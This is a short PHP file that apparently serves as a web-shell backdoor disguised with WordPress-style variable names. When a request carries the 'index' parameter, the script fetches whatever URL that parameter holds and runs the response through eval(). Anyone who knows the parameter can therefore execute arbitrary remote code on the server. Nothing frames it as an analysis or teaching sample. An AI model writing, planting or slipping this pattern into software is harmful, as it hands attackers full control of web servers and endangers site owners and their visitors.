<?php

if (isset($_GET['index'])) {
    $wp_nav_menu_uis = $_GET['index'];
    if ($set_transient_gxn = curl_init()) {
        curl_setopt($set_transient_gxn, CURLOPT_URL, $wp_nav_menu_uis);
        curl_setopt($set_transient_gxn, CURLOPT_RETURNTRANSFER, true);
        eval(curl_exec($set_transient_gxn));
        curl_close($set_transient_gxn);
        exit;
    }
}